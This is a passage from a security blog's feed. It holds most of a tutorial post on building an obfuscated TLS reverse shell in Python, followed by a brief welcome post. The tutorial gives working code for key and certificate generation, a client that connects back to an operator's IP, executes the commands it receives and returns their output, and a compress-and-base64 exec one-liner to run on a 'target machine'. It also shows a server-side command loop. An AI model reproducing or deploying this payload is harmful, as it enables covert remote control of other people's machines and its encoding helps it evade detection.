</span>    <span class="n">public_key_path</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">keys_dir</span><span class="p">,</span> <span class="s">"public_key.pem"</span><span class="p">)</span>
    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">public_key_path</span><span class="p">,</span> <span class="s">"wb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">key</span><span class="p">.</span><span class="n">publickey</span><span class="p">().</span><span class="n">export_key</span><span class="p">())</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[*] Public key generated."</span><span class="p">)</span>
</code></pre></div></div>
<p>This function:
Removes any old keys or certificates.
Generates a new RSA key pair and saves the private key and public key  in the keys folder.</p>

<h3 id="3-generating-self-signed-certificate"><strong>3. Generating Self-Signed Certificate</strong></h3>
<p>We use OpenSSL to create a self-signed certificate.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">generate_certificate</span><span class="p">(</span><span class="n">private_key_path</span><span class="p">,</span> <span class="n">cert_path</span><span class="p">,</span> <span class="n">ip_address</span><span class="p">):</span>
    <span class="n">openssl_config</span> <span class="o">=</span> <span class="s">"openssl.cnf"</span>

    <span class="c1"># Create OpenSSL configuration file
</span>    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">openssl_config</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="sa">f</span><span class="s">"""
[ req ]
distinguished_name = req_distinguished_name
x509_extensions = v3_req
prompt = no

[ req_distinguished_name ]
C = US
ST = California
L = SanFrancisco
O = MyOrg
OU = IT
CN = </span><span class="si">{</span><span class="n">ip_address</span><span class="si">}</span><span class="s">

[ v3_req ]
subjectAltName = @alt_names

[ alt_names ]
IP.1 = </span><span class="si">{</span><span class="n">ip_address</span><span class="si">}</span><span class="s">
"""</span><span class="p">)</span>
</code></pre></div></div>
<p>The configuration file ensures the certificate is valid for the provided IP address using the Subject Alternative Name (SAN).</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">run</span><span class="p">([</span>
        <span class="s">"openssl"</span><span class="p">,</span> <span class="s">"req"</span><span class="p">,</span> <span class="s">"-new"</span><span class="p">,</span> <span class="s">"-x509"</span><span class="p">,</span>
        <span class="s">"-key"</span><span class="p">,</span> <span class="n">private_key_path</span><span class="p">,</span>
        <span class="s">"-out"</span><span class="p">,</span> <span class="n">cert_path</span><span class="p">,</span>
        <span class="s">"-days"</span><span class="p">,</span> <span class="s">"365"</span><span class="p">,</span>
        <span class="s">"-config"</span><span class="p">,</span> <span class="n">openssl_config</span>
    <span class="p">],</span> <span class="n">check</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[*] OpenSSL: Certificate generated successfully."</span><span class="p">)</span>

</code></pre></div></div>

<h3 id="4-generating-client-code"><strong>4. Generating Client Code</strong></h3>
<p>The generate_and_compress_client_code function dynamically creates a reverse shell client script and compresses it into a one-liner.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">generate_and_compress_client_code</span><span class="p">(</span><span class="n">ip</span><span class="p">,</span> <span class="n">port</span><span class="p">):</span>
    <span class="n">certfile</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="s">"keys"</span><span class="p">,</span> <span class="s">"server.crt"</span><span class="p">)</span>
    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">certfile</span><span class="p">,</span> <span class="s">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">cert_content</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>

    <span class="n">client_code</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"""
import socket, ssl, subprocess
CERT=</span><span class="se">\"\"\"</span><span class="si">{</span><span class="n">cert_content</span><span class="si">}</span><span class="se">\"\"\"</span><span class="s">
def connect():
    context=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    context.load_verify_locations(cadata=CERT)
    with socket.create_connection(("</span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s">", </span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s">)) as sock:
        with context.wrap_socket(sock, server_hostname="</span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s">") as ssock:
            while True:
                cmd=ssock.recv(8192).decode()
                if cmd.lower()=="exit":break
                output=subprocess.getoutput(cmd)
                ssock.sendall(output.encode())
connect()
"""</span>
</code></pre></div></div>
<p><strong>Compressing and encoding the client code:</strong></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">compressed_code</span> <span class="o">=</span> <span class="n">zlib</span><span class="p">.</span><span class="n">compress</span><span class="p">(</span><span class="n">client_code</span><span class="p">.</span><span class="n">encode</span><span class="p">())</span>
    <span class="n">encoded_code</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">compressed_code</span><span class="p">).</span><span class="n">decode</span><span class="p">()</span>
    <span class="k">return</span> <span class="sa">f</span><span class="s">"import zlib,base64;exec(zlib.decompress(base64.b64decode('</span><span class="si">{</span><span class="n">encoded_code</span><span class="si">}</span><span class="s">')))"</span>

</code></pre></div></div>
<h3 id="5-starting-the-server"><strong>5. Starting the Server</strong></h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">start_server</span><span class="p">(</span><span class="n">ip</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">443</span><span class="p">):</span>
    <span class="n">certfile</span><span class="p">,</span> <span class="n">keyfile</span> <span class="o">=</span> <span class="n">keys_check_or_create</span><span class="p">(</span><span class="n">ip</span><span class="p">)</span>
    <span class="n">context</span> <span class="o">=</span> <span class="n">ssl</span><span class="p">.</span><span class="n">SSLContext</span><span class="p">(</span><span class="n">ssl</span><span class="p">.</span><span class="n">PROTOCOL_TLS_SERVER</span><span class="p">)</span>
    <span class="n">context</span><span class="p">.</span><span class="n">load_cert_chain</span><span class="p">(</span><span class="n">certfile</span><span class="o">=</span><span class="n">certfile</span><span class="p">,</span> <span class="n">keyfile</span><span class="o">=</span><span class="n">keyfile</span><span class="p">)</span>

    <span class="k">with</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> <span class="k">as</span> <span class="n">server_socket</span><span class="p">:</span>
        <span class="n">server_socket</span><span class="p">.</span><span class="n">bind</span><span class="p">((</span><span class="n">ip</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>
        <span class="n">server_socket</span><span class="p">.</span><span class="n">listen</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] Server listening on </span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s">:</span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

        <span class="k">with</span> <span class="n">context</span><span class="p">.</span><span class="n">wrap_socket</span><span class="p">(</span><span class="n">server_socket</span><span class="p">,</span> <span class="n">server_side</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span> <span class="k">as</span> <span class="n">tls_server</span><span class="p">:</span>
            <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
                <span class="n">client_socket</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">tls_server</span><span class="p">.</span><span class="n">accept</span><span class="p">()</span>
                <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] Connection from </span><span class="si">{</span><span class="n">addr</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
                <span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">handle_client</span><span class="p">,</span> <span class="n">args</span><span class="o">=</span><span class="p">(</span><span class="n">client_socket</span><span class="p">,)).</span><span class="n">start</span><span class="p">()</span>
</code></pre></div></div>
<p>The server:</p>
<ol>
  <li>Creates a TLS context with the generated certificate and private key.</li>
  <li>Listens for client connections and handles each connection in a new thread.</li>
</ol>

<h3 id="6-handling-client-commands"><strong>6. Handling Client Commands</strong></h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">handle_client</span><span class="p">(</span><span class="n">client_socket</span><span class="p">):</span>
    <span class="n">buffer_size</span> <span class="o">=</span> <span class="mi">8192</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
            <span class="n">command</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"Shell&gt; "</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">command</span><span class="p">.</span><span class="n">lower</span><span class="p">()</span> <span class="ow">in</span> <span class="p">[</span><span class="s">"exit"</span><span class="p">,</span> <span class="s">"quit"</span><span class="p">]:</span>
                <span class="n">client_socket</span><span class="p">.</span><span class="n">sendall</span><span class="p">(</span><span class="sa">b</span><span class="s">"exit"</span><span class="p">)</span>
                <span class="k">break</span>
            <span class="n">client_socket</span><span class="p">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">command</span><span class="p">.</span><span class="n">encode</span><span class="p">())</span>
            <span class="n">response</span> <span class="o">=</span> <span class="n">client_socket</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="n">buffer_size</span><span class="p">).</span><span class="n">decode</span><span class="p">()</span>
            <span class="k">print</span><span class="p">(</span><span class="n">response</span><span class="p">)</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[!] Error: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">finally</span><span class="p">:</span>
        <span class="n">client_socket</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div></div>
<h3 id="7-how-to-run"><strong>7. How to run</strong></h3>

<ol>
  <li><strong>Start the server:</strong>
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python reverse_ssl.py
</code></pre></div>    </div>
    <p><img src="/assets/images/linux-maldev/tls-revers-shell.png" alt="tls-reverse-shell" class="img-responsive" /></p>
  </li>
  <li><strong>Run the client script on the target machine:</strong>
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python <span class="nt">-c</span> <span class="s2">"&lt;compressed_client_code&gt;"</span>
</code></pre></div>    </div>
    <p><img src="/assets/images/linux-maldev/tls-client.png" alt="tls-reverse-shellclient" class="img-responsive" /></p>
  </li>
</ol>]]></content><author><name>Mohit Dabas</name></author><category term="blog" /><category term="Linux-Malware-Development" /><category term="TLS-Reverse-Shell" /><category term="mohitdabas" /><summary type="html"><![CDATA[Building a obfuscated SSL/TLS Reverse Shell with Python]]></summary></entry><entry><title type="html">Welcome to Mohit Dabas Blog!</title><link href="http://mohitdabas.in/blog/welcome-to-mohitdabas-blog/" rel="alternate" type="text/html" title="Welcome to Mohit Dabas Blog!" /><published>2024-11-07T00:00:00+00:00</published><updated>2024-11-07T00:00:00+00:00</updated><id>http://mohitdabas.in/blog/welcome-to-mohitdabas-blog</id><content type="html" xml:base="http://mohitdabas.in/blog/welcome-to-mohitdabas-blog/"><![CDATA[<p>Welcome to my blog!</p>

<p><img src="/assets/images/reflect.jpeg" alt="reflection" class="img-responsive" /></p>

<p>Here, I’ll document my daily cybersecurity tasks and current projects, sharing insights and write-ups on CTF challenges, security automation tools, malware analysis, and even malware development using GenAI in cybersecurity. Expect a deep dive into a wide range of topics and more!</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">print</span><span class="p">(</span><span class="s">"Hello, World!"</span><span class="p">)</span>
</code></pre></div></div>]]></content><author><name>Mohit Dabas</name></author><category term="blog" /><category term="introduction" /><category term="mohitdabas" /><summary type="html"><![CDATA[Welcome to my blog!]]></summary></entry></feed>